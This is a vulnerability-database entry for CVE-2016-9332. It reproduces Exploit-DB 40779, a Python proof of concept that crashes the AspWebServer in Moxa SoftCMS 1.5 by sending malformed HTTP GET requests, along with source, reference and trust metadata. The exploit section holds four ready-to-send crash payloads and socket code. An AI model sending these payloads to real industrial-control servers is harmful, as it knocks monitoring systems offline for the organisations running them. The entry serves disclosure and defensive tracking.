Details of VAR-E-201611-0756

ID

VAR-E-201611-0756

CVE

cve_id:

CVE-2016-9332

Trust: 1.0

sources: EXPLOIT-DB: 40779

EDB ID

40779

TITLE

Moxa SoftCMS 1.5 - Denial of Service (PoC) - Windows dos Exploit

Trust: 0.6

sources: EXPLOIT-DB: 40779

DESCRIPTION

Moxa SoftCMS 1.5 - Denial of Service (PoC). CVE-2016-9332 . dos exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 40779

AFFECTED PRODUCTS

vendor:

moxa

model:

softcms

scope:

version:

1.5

Trust: 2.2

sources: EXPLOIT-DB: 40779 // EDBNET: 89041 // EDBNET: 89210

EXPLOIT

'''
# Title: Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability
# Author: Zhou Yu
# Email: 504137480@qq.com
# Vendor: http://www.moxa.com/
# Versions affected: 1.5 or prior versions
# Test on: Moxa SoftCMS 1.5 on Windows 7 SP1 x32
# CVE: CVE-2016-9332
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-16-322-02

Vulnerability Description:
AspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.

Vulnerability Discovery Method:
With the help of kitty fuzzing framework, we are able to find some vulnerabilities of the AspWebServer when parsing HTTP GET request. Details of the fuzzer scripts and output can be found here: https://github.com/dazhouzhou/ICS-Vulnerabilities/tree/master/Moxa/SoftCMS .
'''

import socket
host = '192.168.124.128'
port = 81

# extracted four payloads from crashes that can crash the AspWebServer.exe
payload1 = 'GET /\ HTTP/1.1\r\n\r\n'
payload2 = 'GET \x00 HTTP/1.1\r\n\r\n'
payload3 = 'GET \n HTTP/1.1\r\n\r\n'
payload4 = 'GET /. HTTP/1.1\r\n\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload1)
s.close()

Trust: 1.0

sources: EXPLOIT-DB: 40779

EXPLOIT LANGUAGE

Trust: 0.6

sources: EXPLOIT-DB: 40779

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 40779

TYPE

Denial of Service (PoC)

Trust: 1.6

sources: EXPLOIT-DB: 40779 // EDBNET: 89041

CREDITS

Zhou Yu

Trust: 0.6

sources: EXPLOIT-DB: 40779

EXTERNAL IDS

db:	ICS CERT	id:	ICSA-16-322-02	Trust: 2.2
db:	EXPLOIT-DB	id:	40779	Trust: 1.6
db:	NVD	id:	CVE-2016-9332	Trust: 1.0
db:	EDBNET	id:	89041	Trust: 0.6
db:	0DAYTODAY	id:	26354	Trust: 0.6
db:	EDBNET	id:	89210	Trust: 0.6

sources: EXPLOIT-DB: 40779 // EDBNET: 89041 // EDBNET: 89210

REFERENCES

url:	https://nvd.nist.gov/vuln/detail/cve-2016-9332	Trust: 1.0
url:	https://www.exploit-db.com/exploits/40779/	Trust: 0.6
url:	https://0day.today/exploits/26354	Trust: 0.6

sources: EXPLOIT-DB: 40779 // EDBNET: 89041 // EDBNET: 89210

SOURCES

db:	EXPLOIT-DB	id:	40779
db:	EDBNET	id:	89041
db:	EDBNET	id:	89210

LAST UPDATE DATE

2022-07-27T09:37:39.706000+00:00

SOURCES RELEASE DATE

db:	EXPLOIT-DB	id:	40779	date:	2016-11-18T00:00:00
db:	EDBNET	id:	89041	date:	2016-11-18T00:00:00
db:	EDBNET	id:	89210	date:	2016-11-24T00:00:00